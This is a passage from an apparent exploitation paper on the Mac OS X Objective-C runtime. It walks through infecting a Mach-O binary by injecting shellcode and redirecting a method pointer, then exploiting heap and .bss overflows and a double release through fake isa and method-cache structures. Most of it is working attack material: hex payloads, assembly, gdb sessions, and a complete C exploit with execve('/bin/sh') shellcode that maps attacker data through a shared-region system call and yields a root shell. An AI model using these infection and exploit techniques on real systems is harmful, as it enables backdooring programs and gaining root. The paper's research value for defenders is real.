 reserved1 0
 reserved2 0
```

So this is where we can store our code.
But first, we need to increase the size of this section in the header.
We can do this using HTE [20].

```
**** section 7 ****
section name                                      __image_info
segment name                                      __OBJC
virtual address                                   000030c8
virtual size                                      00000008
file offset                                       000020c8
alignment                                         00000002
relocation file offset                            00000000
number of relocation entries                      00000000
flags                                             00000000
reserved1                                         00000000
reserved2                                         00000000
```

We simply press the f4 key to edit this once we’re in Mach-O header mode.

```
**** section 7 ****
section name                                      __image_info
segment name                                      __OBJC
virtual address                                   000030c8
virtual size                                      00000030
file offset                                       000020c8
alignment                                         00000002
relocation file offset                            00000000
number of relocation entries                      00000000
flags                                             00000000
reserved1                                         00000000
reserved2                                         00000000
```

Once this is done we save our file, and return to hex edit mode.
In hex view we press f5, and type in our file offset. 0x20c8.
Once our cursor is at this position we move to the right 8 bytes, and then press f4 to enter edit mode. Then we paste our string of bytes:

```
31c06a0aeb0850b00450cd80eb10e8f3ffffff696e666563746564210a00cc
```

Then we save our file and run it.

```
000020c0 ec 1f 00 00 c9 1f 00 00-00 00 00 00 00 00 00 00 |??  ??
000020d0 31 c0 6a 0a eb 08 50 b0-04 50 cd 80 eb 10 e8 f3 |
000020e0 ff ff ff 69 6e 66 65 63-74 65 64 21 0a 00 cc 00 |???infected!? ?
000020f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 |
```

By running this binary in gdb, we can stick a breakpoint on the main function and then call our shellcode in memory.

```
Breakpoint 1, 0x00001f41 in main ()
(gdb) set $eip=0x30d0
(gdb) c
Continuing.
infected!
```

```
Program received signal SIGTRAP, Trace/breakpoint trap.
0x000030ef in .objc_class_name_Talker ()
```

As you see our shellcode executed fine. However we have got a problem.

```
-[dcbz@megatron:~/code]$ ./hello
objc[8268]: '/Users/dcbz/code/./hello' has inconsistently-compiled
Objective-C code. Please recompile all code in it.
Hello World!
```

The Objective-C runtime has ratted us out!!

grep'ing the source code for this we can see the appropriate check:

```
    // Make sure every copy of objc_image_info in this image is the same.
    // This means same version and same bitwise contents.
    if (result->info) {
        const objc_image_info *start = result->info;
        const objc_image_info *end =
            (objc_image_info *)(info_size + (uint8_t *)start);
        const objc_image_info *info = start;
        while (info < end) {
            // version is byte size, except for version 0
            size_t struct_size = info->version;
            if (struct_size == 0) struct_size = 2 * sizeof(uint32_t);
            if (info->version != start->version  ||
                0 != memcmp(info, start, struct_size))
            {
                _objc_inform("'%s' has inconsistently-compiled Objective-C
"
                             "code. Please recompile all code in it.",
                             _nameForHeader(header));
            }
            info = (objc_image_info *)(struct_size + (uint8_t *)info);
        }
    }
```

The way I got around this at the moment was to change the name of the section from __imagine_info to __1mage_info. Honestly I don't even understand why this section exists, but it works fine this way.

```
**** section 7 ****
section name                                        __1mage_info
segment name                                        __OBJC
virtual address                                     000030c8
virtual size                                        00000030
file offset                                         000020c8
alignment                                           00000002
relocation file offset                              00000000
number of relocation entries                        00000000
flags                                               00000000
reserved1                                           00000000
reserved2                                           00000000
```

So now our shellcode is in memory, we need to gain control of execution somehow.

The __inst_meth section contains a pointer to each of our methods. The way I plan to gain control of execution is to modify the pointer to our "say:" method with a pointer to our shellcode.

```
Section
  sectname __inst_meth
   segname __OBJC
      addr 0x00003070
      size 0x00000014
    offset 8304
```

```
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
```

To test our theory out, we can first seek to the __inst_meth section in HTE...

```
00002070 00 00 00 00 01 00 00 00-d0 1f 00 00 d5 1f 00 00 |    ?   ??  ??
00002080[2a 1f 00 00]07 00 00 00-10 00 00 00 bf 1f 00 00 |*?  ?   ?   ??
00002090 a4 30 00 00 07 00 00 00-10 00 00 00 bf 1f 00 00 |?0  ?   ?   ??
000020a0 30 20 00 00 00 00 00 00-00 00 00 00 01 00 00 00 |0           ?
```

... And change our pointer to 0xdeadbeef as so:

```
00002070 00 00 00 00 01 00 00 00-d0 1f 00 00 d5 1f 00 00 |    ?   ??  ??
00002080[ef be ad de]07 00 00 00-10 00 00 00 bf 1f 00 00 |?????   ?   ??
00002090 a4 30 00 00 07 00 00 00-10 00 00 00 bf 1f 00 00 |?0  ?   ?   ??
000020a0 30 20 00 00 00 00 00 00-00 00 00 00 01 00 00 00 |0           ?
```

This way when we start up our application and test it...

```
(gdb) r
Starting program: /Users/dcbz/code/hello
Reading symbols for shared libraries +++++...................... done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeef
0xdeadbeef in ?? ()
(gdb)
```

... we can see that execution control is pretty straight forward.

Now if we change this value from 0xdeadbeef to the address of our shellcode in the __1mage_info section. (0x30c8) and run the binary, we can see the results.

```
-[dcbz@megatron:~/code]$ ./hello
infected!
Trace/BPT trap
```

As you can see, we have successfully gained control of execution and executed our shellcode, however the SIGTRAP caused by the int3 in our code isn't very inconspicuous. In order to fix this we'll need to add some code to jump back to the previous value of our method. The following instructions take care of this nicely:

```
nasm > mov ecx,0xdeadbeef
00000000  B9EFBEADDE        mov ecx,0xdeadbeef
nasm > jmp ecx
00000000  FFE1              jmp ecx
```

Another thing we need to take care of before resuming execution is restoring the stack and registers to their previous state. This way when we resume execution it will be like our code never executed.

The final version of our payload looks something like:

```
BITS 32
SECTION .text
_main:
        pusha
        xor     eax,eax
        push    byte 0xa
        jmp     short down
up:
        push    eax
        mov     al,0x04
        push    eax  ; fake
        int     0x80
        jmp     short end
down:
        call up
db      "infected!",0x0a,0x00
end:
        push    byte 16
        pop     eax
        add     esp,eax
        popa
        mov     ecx,0xdeadbeef
        jmp     ecx
```

If we assembly it, and change 0xdeadbeef to the address of our old function 0x1f2a the code looks like this.

```
6031c06a0aeb0850b00450cd80eb10e8f3ffffff696e666563746564210a006a105801c4
61b92a1f0000ffe1
```

We inject this into our binary using hte again...

```
000020c0 ec 1f 00 00 c9 1f 00 00-60 31 c0 6a 0a eb 08 50
000020d0 b0 04 50 cd 80 eb 10 e8-f3 ff ff ff 69 6e 66 65
000020e0 63 74 65 64 21 0a 00 6a-10 58 01 c4 61 b9 2a 1f
000020f0 00 00 ff e1 00 00 00 00-00 00 00 00 00 00 00 00
```

... and run the binary.

```
-[dcbz@megatron:~/code]$ ./hello
infected!
Hello World!
```

Presto! Our binary is infected. I'm not going to bother implementing this in assembly right now, but it would be easy enough to do.

--[5 - Exploiting Objective-C Applications

Hopefully at this stage you're fairly familiar with the Objective-C runtime. In this section we'll look at some of the considerations of exploiting an Objective-C application on Mac OS X.

In order to explore this, we'll first start by looking at what happens when an object allocation (alloc method) occurs for an Objective-C class.

So basically, when the alloc method is called ([Object alloc]) the _internal_class_creatInstanceFromZone function is called in the Objective-C runtime. The source code for this function is shown below.

```
/***********************************************************************
* _internal_class_createInstanceFromZone.  Allocate an instance of the
* specified class with the specified number of bytes for indexed
* variables, in the specified zone.  The isa field is set to the
* class, C++ default constructors are called, and all other fields are zeroed.
**********************************************************************/
__private_extern__ id
_internal_class_createInstanceFromZone(Class cls, size_t extraBytes,
                                       void *zone)
{
    id obj;
    size_t size;

    // Can't create something for nothing
    if (!cls) return nil;

    // Allocate and initialize
    size = _class_getInstanceSize(cls) + extraBytes;
    if (UseGC) {
        obj = (id) auto_zone_allocate_object(gc_zone, size,
                                    AUTO_OBJECT_SCANNED, false, true);
    } else if (zone) {
        obj = (id) malloc_zone_calloc (zone, 1, size);
    } else {
        obj = (id) calloc(1, size);
    }
    if (!obj) return nil;

    // Set the isa pointer
    obj->isa = cls;

    // Call C++ constructors, if any.
    if (!object_cxxConstruct(obj)) {
        // Some C++ constructor threw an exception.
        if (UseGC) {
            auto_zone_retain(gc_zone, obj);
                // gc free expects retain count==1
        }
        free(obj);
        return nil;
    }

    return obj;
}
```

As you can see, this function basically just looks up the size of the class and uses calloc to allocate some (zero filled) memory for it on the heap.

From the code above we can see that the calls to calloc etc allocate memory from the default malloc zone. This means that the class meta-data and contents are stored in amongst any other allocations the program makes. Therefore, any overflows on the heap in an objc application are liable to end up overflowing into objc meta-data. We can utilize this to gain control of execution.

```
/***********************************************************************
* _objc_internal_zone.
* Malloc zone for internal runtime data.
* By default this is the default malloc zone, but a dedicated zone is
* used if environment variable OBJC_USE_INTERNAL_ZONE is set.
**********************************************************************/
```

However, if you set the OBJC_USE_INTERNAL_ZONE environment variable before running the application, the Objective-C runtime will use it’s own malloc zone. This means the objc meta-data will be stored in another mapping, and will stop these attacks. This is probably worth doing for any services you run regularly (written in objective-c) just to mix up the address space a bit.

The first thing we’ll look at, in regards to this process, is how the class size is calculated. This will determine which region on the heap this allocation takes place from. (Tiny/Small/Large/Huge). For more information on how the userspace heap implementation (Bertrand’s malloc) works, you can check my heap exploitation techniques paper [11].]

As you saw in the code above, when the _internal_class_createInstanceFromZone function wants to determine the size of a class, the first step it takes is to call the _class_getInstanceSize() function.

This basically just looks up the instance_size attribute from inside our class struct. This means we can easily predict which region of the heap our particular object will reside.

Ok, so now we’re familiar with how the object is allocated we can explore this in memory.

The first step is to copy the HelloWorld sample application we made earlier to ofex1 as so...

```
-[dcbz@megatron:˜/code]$ cp -r HelloWorld/ ofex1
```

We can then modify the hello.c file to perform an allocation with malloc() prior to the class being alloc’ed.

The code then uses strcpy() to copy the first argument to this program into our small buffer on the heap. With a large argument this should overflow into our objective-c object.

```
include <stdio.h>
#include <stdlib.h>
#import "Talker.h"

int main(int ac, char **av)
{
        char *buf = malloc(25);
        Talker *talker = [[Talker alloc] init];
        printf("buf: 0x%x\n",buf);
        printf("talker: 0x%x\n",talker);
        if(ac != 2) {
                exit(1);
        }
        strcpy(buf,av[1]);
        [talker say: "Hello World!"];
        [talker release];
}
```

Now if we recompile our sample code, and fire up gdb, passing in a long argument, we can begin to investigate what’s needed to gain control of execution.

```
(gdb) r ‘perl -e’print "A"x5000’‘
Starting program: /Users/dcbz/code/ofex1/build/hello ‘perl -e’print
"A"x5000’‘
buf: 0x103220
talker: 0x103260

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414161
0x9470d688 in objc_msgSend ()
```

As you can see from the output above, buf is 64 bytes lower on the heap than talker. This means overflowing 68 bytes will overwrite the isa pointer in our class struct.

This time we run the program again, however we stick 0xcafebabe where our isa pointer should be.

```
(gdb) r ‘perl -e’print "A"x64,"\xbe\xba\xfe\xca"’‘
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/dcbz/code/ofex1/build/hello ‘perl -e’print
"A"x64,"\xbe\xba\xfe\xca"’‘
buf: 0x1032c0
talker: 0x103300

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xcafebade
0x9470d688 in objc_msgSend ()
(gdb) x/i $pc
0x9470d688 <objc_msgSend+24>:   mov    edi,DWORD PTR [edx+0x20]
(gdb) i r edx
edx            0xcafebabe       -889275714
```

We have now controlled the ISA pointer and a crash has occured offsetting this by 0x20 and reading. However, we're unsure at this stage what exactly is going on here.

In order to explore this, let's take a look at the source code for objc_msgSend again.

```
// load receiver and selector
        movl    selector(%esp), %ecx
        movl    self(%esp), %eax

// check whether selector is ignored
        cmpl    $ kIgnore, %ecx
        je      LMsgSendDone            // return self from %eax

// check whether receiver is nil
        testl   %eax, %eax
        je      LMsgSendNilSelf

// receiver (in %eax) is non-nil: search the cache
LMsgSendReceiverOk:
        // -( nemo )- :: move our overwritten ISA pointer to edx.
        movl    isa(%eax), %edx         // class = self->isa
        // -( nemo )- :: This is where our crash takes place.
        // in the CachLookup macro.
        CacheLookup WORD_RETURN, MSG_SEND, LMsgSendCacheMiss
        movl    $kFwdMsgSend, %edx      // flag word-return for _objc_msgForward
        jmp     *%eax                   // goto *imp
```

From the code above we can determine that our crash took place within the CacheLookup macro. This means in order to gain control of execution from here we're going to need a little understanding of how method caching works for Objective-C classes.

Let's start by taking a look at our objc_class struct again.

```
       struct objc_class
        {
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;
           long version;
           long info;
           long instance_size;
           struct objc_ivar_list* ivars;
           struct objc_method_list** methodLists;
           struct objc_cache* cache;
           struct objc_protocol_list* protocols;
        };
```

We can see above that 32 bytes (0x20) into our struct is the cache pointer (a pointer to a struct objc_cache instance). Therefore the instruction that our crash took place in, is derefing the isa pointer (that we overwrote) and trying to access the cache attribute of this struct.

Before we get into how the CacheLookup macro works, lets quickly familiarize ourselves with how the objc_cache struct looks.

```
struct objc_cache {
    unsigned int mask;            /* total = mask + 1 */
    unsigned int occupied;
    cache_entry *buckets[1];
};
```

The two elements we're most concerned about are the mask and buckets. The mask is used to resolve an index into the buckets array. I'll go into that process in more detail as we read the implementation of this. The buckets array is made up of cache_entry structs (shown below).

```
typedef struct {
    SEL name;     // same layout as struct old_method
    void *unused;
    IMP imp;  // same layout as struct old_method
} cache_entry;
```

Now let's step through the CachLookup source now and we can look at the process of checking the cache and what we control with an overflow.

```
.macro  CacheLookup

// load variables and save caller registers.

        pushl   %edi                    // save scratch register
        movl    cache(%edx), %edi       // cache = class->cache
        pushl   %esi                    // save scratch register
```

This initial load into edi is where our bad access is performed. We are able to control edx here (the isa pointer) and therefore control edi.

```
        movl    mask(%edi), %esi        // mask = cache->mask
```

First the cache struct is dereferenced and the "mask" is moved into esi. We control the outcome of this, and therefore control the mask.

```
        leal    buckets(%edi), %edi     // buckets = &cache->buckets
```

The address of the buckets array is moved into edi with lea. This will come straight after our mask and occupied fields in our fake objc_cache struct.

```
        movl    %ecx, %edx              // index = selector
        shrl    $$2, %edx               // index = selector >> 2
```

The address of the selector (c string) which was passed to objc_msgSend() as the method name is then moved into ecx. We do not control this at all. I mentioned earlier that selectors are basically c strings that have been registered with the runtime. The process we are looking at now, is used to turn the Selector's address into an index into the buckets array. This allows for quick location of our method. As you can see above, the first step of this is to shift the pointer right by 2.

```
        andl    %esi, %edx              // index &= mask
        movl    (%edi, %edx, 4), %eax   // method = buckets[index]
```

Next the mask is applied. Typically the mask is set to a small value in order to reduce our index down to a reasonable size. Since we control the mask, we can control this process quite effectively.

Once the index is determined it is used in conjunction with the base address of the buckets array in order to move one of the bucket entries into eax.

```
        testl   %eax, %eax              // check for end of bucket
        je      LMsgSendCacheMiss_$0_$1_$2      // go to cache miss code
```

If the bucket does not exist, it is assumed that a CacheMiss was performed, and the method is resolved manually using the technique we described early on in this paper.

```
        cmpl    method_name(%eax), %ecx // check for method name match
        je      LMsgSendCacheHit_$0_$1_$2       // go handle cache hit
```

However if the bucket is non-zero, the first element is retrieved which should be the same selector that was passed in. If that is the cache, then it is assumed that we've found our IMP function pointer, and it is called.

```
        addl    $$1, %edx                       // bump index ...
        jmp     LMsgSendProbeCache_$0_$1_$2 // ... and loop
```

Otherwise, the index is incremented and the whole process is attempted again until a NULL bucket is found or a CacheHit occurs.

Ok, so taking this all home, lets apply what we know to our vulnerable sample application.

We've accomplished step #1, we've overflown and controlled the isa pointer. The next thing we need to do is find a nice patch of memory where we can position our fake objective-c class information and predict it's address.

There are many different techniques for this and almost all of them are situational. For a remote attack, you may wish to spray the heap, filling all the gaps in until you can predict what's at a static location. However in the case of a local overflow, the most reliable technique I know I wrote about in my "a XNU Hope" paper [13]. Basically the undocumented system call SYS_shared_region_map_file_np is used to map portions of a file into a shared mapping across all the processes on the system. Unfortunately after I published that paper, Apple decided to add a check to the system call to make sure that the file being mapped was owned by root. KF originally pointed this out to me when leopard was first released, and my macbook was lying broken under my bed. He also noted, that there were many root owned writable files on the system generally and so he could bypass this quite easily.

```
-[dcbz@megatron:~]$ ls -lsa /Applications/.localized
8 -rw-rw-r--  1 root  admin  8 Apr 11 19:54 /Applications/.localized
```

An example of this is the /Applications/.localized file. This is at least writeable by the admin user, and therefore will serve our purpose in this case. However I have added a section to this paper (5.1) which demonstrates a generic technique for reimplementing this technique on Leopard. I got sidetracked while writing this paper and had to figure it out.

For now we'll just use /Applications/.localized however, in order to reduce the complexity of our example.

Ok so now we know where we want to write our data, but we need to work out exactly what to write. The lame ascii diagram below hopefully demonstrates my idea for what to write.

```
       ,_____________________,
ISA -> |                     |
       |        mask=0       |<-,
       |      occupied       |  |
   ,---|      buckets        |  |
   '-->| fake bucket: SEL    |  |
       | fake bucket: unused |  |
       | fake bucket: IMP    |--|--,
       |                     |  |  |
       |                     |  |  |
ISA+32>|   cache pointer     |--'  |
       |                     |     |
       |     SHELLCODE       |<----'
       '_____________________'
```

So basically what will happen, the ISA will be dereferenced and 32 will be added to retrieve the cache pointer which we control. The cache pointer will then point back to our first address where the mask value will be retrieved. I used the value 0x0 for the mask, this way regardless of the value of the selector the end result for the index will be 0. This way we can stick the pointer from the selector we want to support (taken from ecx in objc_msgSend.) at this position, and force a match. This will result in the IMP being called. We point the imp at our shellcode below our cache pointer and gain control of execution.

Phew, glad that explanation is out of the way, now to show it in code, which is much much easier to understand. Before we begin to actually write the code though, we need to retrieve the value of the selector, so we can use it in our code.

In order to do this, we stick a breakpoint on our objc_msgSend() call in gdb and run the program again.

```
(gdb) break *0x00001f83
Breakpoint 1 at 0x1f83
(gdb) r AAAAAAAAAAAAAAAAAAAAA
Starting program: /Users/dcbz/code/ofex1/build/hello AAAAAAAAAAAAAAAAAAAAA
buf: 0x103230
talker: 0x103270

Breakpoint 1, 0x00001f83 in main ()
(gdb) x/i $pc
0x1f83 <main+194>:      call   0x400a <dyld_stub_objc_msgSend>
(gdb) stepi
0x0000400a in dyld_stub_objc_msgSend ()
(gdb)
0x94e0c670 in objc_msgSend ()
(gdb)
0x94e0c674 in objc_msgSend ()
(gdb) s
0x94e0c678 in objc_msgSend ()
(gdb) x/s $ecx
0x1fb6 <main+245>:       "say:"
```

As you can see, the address of our selector is 0x1fb6.

```
(gdb) info share $ecx
  2 hello                 - 0x1000            exec Y Y
/Users/dcbz/code/ofex1/build/hello (offset 0x0)
```

If we get some information on the mapping this came from we can see it was directly from our binary itself. This address is going to be static each time we run it, so it’s acceptable to use this way.

Ok now that we’ve got all our information intact, I’ll walk through a finished exploit for this.

```
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <mach/vm_prot.h>
#include <mach/i386/vm_types.h>
#include <mach/shared_memory_server.h>
#include <string.h>
#include <unistd.h>

#define BASE_ADDR 0x9ffff000
#define PAGESIZE  0x1000
#define SYS_shared_region_map_file_np 295
```

We’re going to map our data, at the page 0x9ffff000-0xa0000000 this way we’re guaranteed that we’ll have an address free of NULL bytes.

```
char nemox86exec[] =
// x86 execve() code / nemo
"\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd"
"\x80\x31\xc0\x50\xb0\x17\x6a\x7f"
"\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89"
```

```
"\xe3\x50\x54\x54\x53\x53\xb0\x3b"
"\xcd\x80";
```

I'm using some simple execve("/bin/sh") shellcode for this. But obviously this is just for local vulns.

```
struct _shared_region_mapping_np {
        mach_vm_address_t       address;
        mach_vm_size_t          size;
        mach_vm_offset_t        file_offset;
        vm_prot_t               max_prot;   /* read/write/execute/COW/ZF */
        vm_prot_t               init_prot;  /* read/write/execute/COW/ZF */
};

struct cache_entry {
    char *name;     // same layout as struct old_method
    void *unused;
    void (*imp)();  // same layout as struct old_method
};

struct objc_cache {
    unsigned int mask;            /* total = mask + 1 */
    unsigned int occupied;
    struct cache_entry *buckets[1];
};

struct our_fake_stuff {
        struct objc_cache fake_cache;
        char filler[32 - sizeof(struct objc_cache)];
        struct objc_cache *fake_cache_ptr;
};
```

We define our structs here. I created a "our_fake_stuff" struct in order to hold the main body of our exploit. I guess I should have stuck the objc_cache struct we're using in here. But I'm not going to go back and change it now... ;p

```
#define ROOTFILE "/Applications/.localized"
```

This is the file which we're using to store our data before we load it into the shared section.

```
int main(int ac, char **av)
{
        int fd;
        struct _shared_region_mapping_np sr;
        char data[PAGESIZE];
        char *ptr = data + PAGESIZE - sizeof(nemox86exec) - sizeof(struct our_fake_stuff) -
 sizeof(struct objc_cache);
        long knownaddress;
        struct our_fake_stuff ofs;
        struct cache_entry bckt;
        #define EVILSIZE 69
        char badbuff[EVILSIZE];
        char *args[] = {"./build/hello",badbuff,NULL};
        char *env[]  = {"TERM=xterm",NULL};
```

So basically I create a char[] buff PAGESIZE in size where I store everything I want to map into the shared section. Then I write the whole thing to a file. args and env are used when I execve the vulnerable program.

```
        printf("[+] Opening root owned file: %s.\n", ROOTFILE);
        if((fd=open(ROOTFILE,O_RDWR|O_CREAT))==-1)
        {
                perror("open");
                exit(EXIT_FAILURE);
        }
```

I open the root owned file...

```
        // fill our data buffer with nops. Why? Why not!
        memset(data,’\x90’,sizeof(data));

        knownaddress = BASE_ADDR + PAGESIZE - sizeof(nemox86exec) -
        sizeof(struct our_fake_stuff) - sizeof(struct objc_cache);
```

knownaddress is a pointer to the start of our data. We position all our data towards the end of the mapping to reduce the chance of NULL bytes.

```
        ofs.fake_cache.mask       = 0x0;        // mask = 0
        ofs.fake_cache.occupied   = 0xcafebabe; // occupied
        ofs.fake_cache.buckets[0] = knownaddress + sizeof(ofs);
```

The ofs struct is set up according to the method documented above. The mask is set to 0, so that our index ends up becoming 0. Occupied can be any value, I set it to 0xcafebabe for fun. Our buckets pointer basically just points straight after itself. This is where our cache_entry struct is going to be stored.

```
        bckt.name   = (char *)0x1fb6; // our SEL
        bckt.unused = (void *)0xbeef; // unused
        bckt.imp    = (void (*)())(knownaddress +
                        sizeof(struct our_fake_stuff) +
                        sizeof(struct objc_cache)); // our shellcode
```

Now we set up the cache_entry struct. Name is set to our selector value which we noted down earlier. Unused can be set to anything. Finally imp is set to the end of both of our structs. This function pointer will be called by the objective-c runtime, after our structs are processed.

```
        // set our filler to "A", who cares.
        memset(ofs.filler,’\x41’,sizeof(ofs.filler));
        ofs.fake_cache_ptr = (struct objc_cache *)knownaddress;
```

Next, we fill our filler with "A", this can be anything, it’s just a pad so that our fake_cache_ptr will be 32 bytes from the start of our ISA struct. Our fake_cache_ptr is set up to point back to the start of our data (knownaddress). This way our fake_cache struct is processed by the runtime.

```
        // stick our struct in data.
        memcpy(ptr,&ofs,sizeof(ofs));
        // stick our cache entry after that
        memcpy(ptr+sizeof(ofs),&bckt,sizeof(bckt));
        // stick our shellcode after our struct in data.
        memcpy(ptr+sizeof(ofs)+sizeof(bckt),nemox86exec
                ,sizeof(nemox86exec));
```

Now that our structs are set up, we simply memcpy() each of them into the appropriate position within the data[] blob....

```
        printf("[+] Writing out data to file.\n");
        if(write(fd,data,PAGESIZE) != PAGESIZE)
        {
                perror("write");
                exit(EXIT_FAILURE);
        }
```

... And write this out to our file.

```
        sr.address     = BASE_ADDR;
        sr.size        = PAGESIZE;
        sr.file_offset = 0;
        sr.max_prot    = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
        sr.init_prot   = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;

        printf("[+] Mapping file to shared region.\n");

        if(syscall(SYS_shared_region_map_file_np,fd,1,&sr,NULL)==-1)
        {
                perror("shared_region_map_file_np");
                exit(EXIT_FAILURE);
        }


        close(fd);
```

Our file is then mapped into the shared region, and our fd discarded.

```
        printf("[+] Fake Objective-C chunk at: 0x%x.\n", knownaddress);

        memset(badbuff,'\x41',sizeof(badbuff));
        //knownaddress = 0xcafebabe;
        badbuff[sizeof(badbuff) - 1] = 0x0;
        badbuff[sizeof(badbuff) - 2] = (knownaddress & 0xff000000) >> 24;
        badbuff[sizeof(badbuff) - 3] = (knownaddress & 0x00ff0000) >> 16;
        badbuff[sizeof(badbuff) - 4] = (knownaddress & 0x0000ff00) >>  8;
        badbuff[sizeof(badbuff) - 5] = (knownaddress & 0x000000ff) >>  0;
        printf("[+] Executing vulnerable app.\n");
```

Before finally we set up our badbuff, which will be argv[1] within our vulnerable application. knownaddress (The address of our data now stored within the shared region.) is used as the ISA pointer.

```
        execve(*args,args,env);

        // not reached.
        exit(0);
}
```

For your convenience I will include a copy of this exploit/vuln along with most of the other code in this paper, uuencoded at the end.

As you can see from the following output, running our exploit works as expected. We're dropped to a shell. (NOTE: I chown root;chmod +s'ed the build/hello file for effect.)

```
-[dcbz@megatron:~/code/ofex1]$ ./exploit
[+] Opening root owned file: /Applications/.localized.
[+] Writing out data to file.
[+] Mapping file to shared region.
[+] Fake Objective-C chunk at: 0x9fffffa5.
[+] Executing vulnerable app.
buf: 0x103500
talker: 0x103540
bash-3.2# id
uid=0(root)
```

Hopefully in this section I have provided a viable method of exploiting heap overflows in an Objective-c Environment.

Another technique revolving around overflowing Objective-C meta-data is an overflow on the .bss section. This section is used to store static/global data that is initially zero filled.

Generally with the way gcc lays out the binary, the __class section comes straight after the .bss section. This means that a largish overflow on the .bss will end up overwriting the isa class definition structs, rather than the instantiated classes themselves, as in the previous example.

In order to test out what will happen we can modify our previous example to move buf from the heap to the .bss. I also changed the printf responsible for printing the address of the Talker class, to deref the first element and print the address of it’s isa instead.

```
#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"

char buf[25];

int main(int ac, char **av)
{
        Talker *talker = [[Talker alloc] init];
        printf("buf: 0x%x\n",buf);
        printf("talker isa: 0x%x\n",*(long *)talker);
        if(ac != 2) {
                exit(1);
        }
        strcpy(buf,av[1]);
        [talker say: "Hello World!"];
        [talker release];
}
```

When we compile this and run it in gdb, we can see a couple of things. Firstly, that the talkers isa struct is only around 4096 bytes apart from our buffer.

```
(gdb) r ‘perl -e’print "A"x4150’‘
Starting program: /Users/dcbz/code/ofex2/build/hello ‘perl -e’print
"A"x4150’‘
Reading symbols for shared libraries +++++...................... done
buf: 0x2040
talker isa: 0x3000
```

We also get a crash in the following instruction:

```
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414141
0x94e0c68c in objc_msgSend ()
(gdb) x/i $pc
0x94e0c68c <objc_msgSend+28>:   mov    0x0(%edi),%esi
(gdb) i r edi
edi            0x41414141       1094795585
```

This instruction looks pretty familiar from our previous example. As you can guess, this instruction is looking up the cache pointer, exactly the same as our previous example. The only real difference is that we’re skipping a step. Rather than overflowing the ISA pointer and then creating a fake ISA struct, we simply have to create a fake cache in order to gain control of execution.

I’m not going to bother playing this one out for you guys in the paper, cause this monster is already getting quite long as it is. I’ll include the sample code in the uuencoded section at the end though, feel free to play with it.

As you can imagine, you simply need to set up memory as such:

```
       ,______________________,
       |        mask=0        |
       |      occupied        |
   ,---|      buckets         |
   ’-->| fake bucket: SEL     |
       | fake bucket: unused  |
       | fake bucket: IMP     |-----,
       |     SHELLCODE        |<----’
       ’______________________’
```

and point edi to the start of it to gain control of execution.

These two techniques provide some of the easiest ways to gain control of execution from a heap or .bss overflow that i’ve seen on Mac OS X.

The last type of bug which I will explore in this paper, is the double "release". This is a double free of an Objective-C object.

The following code demonstrates this situation.

```
#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"


int main(int ac, char **av)
{
        Talker *talker = [[Talker alloc] init];
        printf("talker: 0x%x\n",talker);
        printf("Talker is: %i bytes.\n", sizeof(Talker));
        if(ac != 2) {
                exit(1);
        }
        char *buf  = strdup(av[1]);
        printf("buf @ 0x%x\n",buf);
        [talker say: "Hello World!"];
        [talker release];       // Free
        [talker release];       // Free again...
}
```

If we compile and execute this code in gdb, the following situation occurs:

```
-[dcbz@megatron:˜/code/p66-objc/ofex3]$ gcc Talker.m hello.m
-framework Foundation -o hello
-[dcbz@megatron:˜/code/p66-objc/ofex3]$ gdb ./hello
GNU gdb 6.3.50-20050815 (Apple version gdb-768)
Copyright 2004 Free Software Foundation, Inc.

(gdb) r AA
Starting program: /Users/dcbz/code/p66-objc/ofex3/hello AA
talker: 0x103280
Talker is: 4 bytes.
buf @ 0x1032d0
Hello World!
objc[1288]: FREED(id): message release sent to freed object=0x103280

Program received signal EXC_BAD_INSTRUCTION, Illegal instruction/operand.
0x90c65bfa in _objc_error ()
(gdb) x/i $pc
0x90c65bfa <_objc_error+116>:   ud2a
(gdb)
```

This ud2a instruction is guaranteed to throw an Illegal instruction and terminate the process. This is Apple’s protection against double releases.

If we look at what’s happening in the source we can see why this occurs.

```
__private_extern__ IMP _class_lookupMethodAndLoadCache(Class cls, SEL sel)
{
    Class curClass;
    IMP methodPC = NULL;

    // Check for freed class
    if (cls == _class_getFreedObjectClass())
        return (IMP) _freedHandler;
```

As you can see, when the lookupMethodAndLoadCache function is called, (when the release method is called) the cls pointer is compared with the result of the _class_getFreeObjectClass() function. This function returns the address of the previous class which was released by the runtime. If a match is found, the _freedHandler function is returned, rather than the desired method implementation. _freedHandler is responsible for outputting a message in syslog() and then using the ud2a instruction to terminate the process.

This means that any method call on a free()'ed object will always error out. However, if another object is released inbetween, the behaviour is different.

To investigate this we can use the following program:

```
#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"


int main(int ac, char **av)
{
        Talker *talker = [[Talker alloc] init];
        Talker *talker2 = [[Talker alloc] init];
        printf("talker: 0x%x\n",talker);
        printf("talker is: %i bytes.\n", malloc_size(talker));
        if(ac != 2) {
                exit(1);
        }
        [talker release];
        [talker2 release];
        int i;
        for(i=0; i<=50000 ; i++) {
                char *buf  = strdup(av[1]);
        //printf("buf @ 0x%x\n",buf);
                // leak badly
        }
        [talker say: "Hello World!"];
        [talker release];
}
```

If we run this, with gdb attached, we can see that it crashes in the following instruction.

```
(gdb) r aaaa
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/dcbz/code/p66-objc/ofex3/hello aaaa
talker: 0x103280
talker is: 16 bytes.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x61616181
0x90c75688 in objc_msgSend ()
(gdb) x/i $pc
